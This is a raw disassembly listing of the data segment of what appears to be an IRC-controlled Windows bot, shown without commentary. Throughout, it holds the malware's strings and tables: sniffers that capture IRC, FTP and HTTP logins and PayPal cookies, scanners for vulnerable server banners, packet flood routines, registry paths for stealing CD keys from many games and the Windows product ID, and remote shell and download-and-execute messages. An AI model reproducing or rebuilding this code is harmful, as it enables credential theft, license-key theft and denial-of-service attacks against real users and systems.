dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: seg002:00437AECo align 10h aFtp db 'FTP',0 ; DATA XREF: seg002:00437AE8o off_438354 dd offset dword_434F60+2E9h ; DATA XREF: seg002:00437AE4o dword_438358 dd 544F42h, 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h ; DATA XREF: seg002:00437AE0o dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h aBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_438434 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:004121ADo aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_4124AD+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_4124AD+EEo align 4 aIdent db ':!ident',0 ; DATA XREF: sub_4124AD+D9o a_ident db ':.ident',0 ; DATA XREF: sub_4124AD+C8o a_login db ':.Login',0 ; DATA XREF: sub_4124AD+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_4124AD+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_4124AD+95o a_login_0 db ':.login',0 ; DATA XREF: sub_4124AD+84o a366 db '366 ',0 ; DATA XREF: sub_4124AD+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_4124AD:loc_41250Fo align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_4124AD+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_4124AD+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_4124AD+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_4124AD+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_4125C4+62o aOper db 'oper ',0 ; DATA XREF: sub_4125C4+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_4125C4:loc_412604o ; sub_41263A+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_4125C4+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_4125C4+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_41263A+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_41263A+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_41263A:loc_41268Bo align 4 a220 db '220 ',0 ; DATA XREF: sub_41263A+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_41263A+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4126C1+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4126C1+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4126C1+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4126C1:loc_412701o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_4126C1+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4126C1+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412748+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412748:loc_412788o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412748+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412748+5o align 4 unk_4385CC db 2Dh ; - ; DATA XREF: seg000:00412B83o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_438604 db 2Dh ; - ; DATA XREF: seg000:00412B17o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43863C db 2Dh ; - ; DATA XREF: seg000:00412AE4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_438670 db 2Dh ; - ; DATA XREF: seg000:00412AB8o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4386A4 db 2Dh ; - ; DATA XREF: seg000:00412A89o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4386D8 db 2Dh ; - ; DATA XREF: seg000:004128F8o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_438708 db 2Dh ; - ; DATA XREF: seg000:00412872o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_43875C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: seg000:00412F56o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 6F727265h dd 65732072h, 6E69646Eh, 61702067h, 74656B63h, 6F742073h dd 2E732520h, 20642520h, 6B636170h, 20737465h, 746E6573h dd 6572202Ch, 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h dd 202D0302h, 656E6F64h, 74697720h, 73252068h, 6F6C6620h dd 7420646Fh, 7325206Fh, 6573202Eh, 2520746Eh, 61702064h dd 74656B63h, 20402073h, 424B6425h, 6365732Fh, 64252820h dd 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 61766E69h, 2064696Ch dd 67726174h, 69207465h, 70h, 234032Dh, 706D6369h, 202D0302h dd 73746573h, 6F6B636Fh, 29287470h, 69616620h, 2C64656Ch dd 74657220h, 656E7275h, 64252064h, 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_438984 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_413991+295o dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 0 dd 234032Dh, 2706374h, 45202D03h, 726F7272h, 6E657320h dd 676E6964h, 63617020h, 7374656Bh, 206F7420h, 203A5049h dd 202E7325h, 6B636150h, 20737465h, 746E6573h, 6425203Ah dd 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh dd 2706374h, 44202D03h, 20656E6Fh, 68746977h, 20732520h dd 6F6F6C66h, 6F742064h, 3A504920h, 2E732520h, 6E655320h dd 25203A74h, 61702064h, 74656B63h, 20297328h, 64252040h dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 234032Dh, 2706374h dd 49202D03h, 6C61766Eh, 74206469h, 65677261h, 50492074h dd 2Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6573203Ah dd 636F7374h, 74706F6Bh, 66202928h, 656C6961h, 72202C64h dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 2706374h dd 45202D03h, 726F7272h, 6F73203Ah, 74656B63h, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 6E757374h, 2696D61h, 44202D03h, 20656E6Fh dd 68746977h, 6F6C6620h, 202C646Fh, 70206425h, 656B6361h dd 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6C616320h, 676E696Ch, 74657320h, 6B636F73h dd 2874706Fh, 57202E29h, 65474153h, 73614C74h, 72724574h dd 2928726Fh, 74657220h, 736E7275h, 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 ; DATA XREF: seg000:00414F3Ao align 10h dword_438D80 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415236+35o dword_438D94 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415236+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4152AE+60o align 4 dword_438DCC dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41534E:loc_415383o dword_438DE0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41534E+20o dword_438DF4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: seg000:0041546Bo dd 6574656Ch, 0 dword_438E10 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: seg000:004153CEo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: seg000:004154CFo aWindow db 'Window',0 ; DATA XREF: sub_4156F9+23o ; sub_4158F2+26o align 10h dd 80000001h off_438E44 dd offset aSoftwareValveC ; DATA XREF: sub_415B31+Cr ; sub_415B31+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_438E50 dd 2 dup(0) ; DATA XREF: sub_415B31+26o dd 80000001h, 439FE8h, 439FDCh, 439FCCh, 2 dup(0) dd 80000001h, 439FACh, 439FA8h, 439F94h, 2 dup(0) dd 80000001h, 439F70h, 439FA8h, 439F64h, 2 dup(0) dd 80000001h, 439F40h, 439F38h, 439F24h, 2 dup(0) dd 80000001h, 439F10h, 439F00h, 439EE4h, 2 dup(0) dd 80000001h, 439EA0h, 43A028h, 439E8Ch, 2 dup(0) dd 80000002h, 439E60h, 439E54h, 439E34h, 2 dup(0) dd 80000002h, 439E00h, 43A028h, 439DE8h, 2 dup(0) dd 80000002h, 439DB4h, 43A028h, 439D9Ch, 2 dup(0) dd 80000002h, 439D84h, 43A028h, 439D6Ch, 2 dup(0) dd 80000002h, 439D30h, 43FDB4h, 439D20h, 2 dup(0) dd 80000002h, 439CE8h, 43FDB4h, 439CD4h, 2 dup(0) dd 80000002h, 439C88h, 43FDB4h, 439C68h, 2 dup(0) dd 80000002h, 439C18h, 43FDB4h, 439BE8h, 2 dup(0) dd 80000002h, 439BACh, 43FDB4h, 439B98h, 2 dup(0) dd 80000002h, 439B60h, 43FDB4h, 439B50h, 2 dup(0) dd 80000002h, 439B00h, 43FDB4h, 439AD0h, 2 dup(0) dd 80000002h, 439A90h, 43FDB4h, 439A70h, 2 dup(0) dd 80000002h, 439A40h, 43FDB4h, 439A20h, 2 dup(0) dd 80000002h, 4399E4h, 43FDB4h, 4399D0h, 2 dup(0) dd 80000002h, 439988h, 43FDB4h, 439964h, 2 dup(0) dd 80000002h, 439910h, 43FDB4h, 4398E0h, 2 dup(0) dd 80000002h, 439890h, 43FDB4h, 439864h, 2 dup(0) dd 80000002h, 439824h, 43981Ch, 4397FCh, 2 dup(0) dd 80000002h, 4397B8h, 43FDB4h, 43979Ch, 2 dup(0) dd 80000002h, 439750h, 43FDB4h, 439728h, 2 dup(0) dd 80000002h, 4396F4h, 43FDB4h, 4396E8h, 2 dup(0) dd 80000002h, 4396B4h, 43FDB4h, 4396A8h, 2 dup(0) dd 80000002h, 439674h, 43FDB4h, 439668h, 2 dup(0) dd 80000002h, 439634h, 43FDB4h, 439628h, 2 dup(0) dd 80000002h, 4395ECh, 43FDB4h, 4395D8h, 2 dup(0) dd 80000002h, 43959Ch, 43FDB4h, 439588h, 2 dup(0) dd 80000002h, 439558h, 43A028h, 43953Ch, 2 dup(0) dd 80000002h, 43951Ch, 439514h, 4394F0h, 2 dup(0) dd 80000002h, 4394D4h, 439514h, 4394B4h, 2 dup(0) dd 80000002h, 439494h, 439514h, 439470h, 2 dup(0) dd 80000002h, 439458h, 439514h, 439454h, 2 dup(0) dd 80000002h, 439438h, 439428h, 439420h, 2 dup(0) dd 80000002h, 4393ECh, 42D8D8h, 4393D4h, 2 dup(0) dd 80000002h, 439398h, 43938Ch, 439364h, 439354h, 439340h dd 80000002h, 43931Ch, 439310h, 4392FCh, 4392ECh, 4392E4h dd 80000002h, 43931Ch, 439310h, 4392B8h, 4392ECh, 4392B0h dd 80000002h, 43931Ch, 439310h, 439280h, 4392ECh, 439278h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 8 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 8 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00438E4Co aCdkey db 'CDKey',0 ; DATA XREF: seg002:00438E48o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_438E44o align 4 asc_43A058: ; DATA XREF: sub_415B31+E7o ; sub_415B31+F2o unicode 0, <=>,0 dword_43A05C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415B31+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43A0D8 db 2Dh ; - ; DATA XREF: sub_415EA1+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_43A0FC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_415EA1+362o ; seg000:00416399o dd 726F72h unk_43A114 db 2Dh ; - ; DATA XREF: sub_415EA1+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 10h unk_43A140 db 2Dh ; - ; DATA XREF: sub_415EA1+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_43A164 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_415EA1+1CBo dd 74756Fh dword_43A17C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_415EA1+16Ao dd 169h unk_43A194 db 2Dh ; - ; DATA XREF: sub_415EA1+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_43A1B4 db 2Dh ; - ; DATA XREF: sub_415EA1+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43A1D8 db 2Dh ; - ; DATA XREF: sub_415EA1+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_43A1FC db 2Dh ; - ; DATA XREF: seg000:00416412o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43A228 db 2Dh ; - ; DATA XREF: seg000:0041630Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43A248 db 2Dh ; - ; DATA XREF: seg000:004162EEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: seg000:004162DAo unk_43A278 db 2Dh ; - ; DATA XREF: seg000:004162C6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43A2A8 db 2Dh ; - ; DATA XREF: seg000:004168FEo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h 